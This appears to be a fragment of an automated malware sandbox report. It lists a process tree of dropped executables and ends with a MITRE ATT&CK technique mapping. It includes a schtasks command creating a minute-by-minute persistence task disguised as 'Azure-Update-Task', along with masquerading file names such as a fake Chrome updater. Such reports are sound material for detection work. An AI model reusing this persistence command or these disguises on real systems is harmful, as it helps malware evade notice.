- Executes dropped EXE
PID:4632
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:3608

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
1⤵
PID:4752

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3220 -ip 3220
1⤵
PID:4944

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2240 -ip 2240
1⤵
PID:2064

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3848

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
- Executes dropped EXE
PID:1708

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 556 -p 4748 -ip 4748
1⤵
PID:3100

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery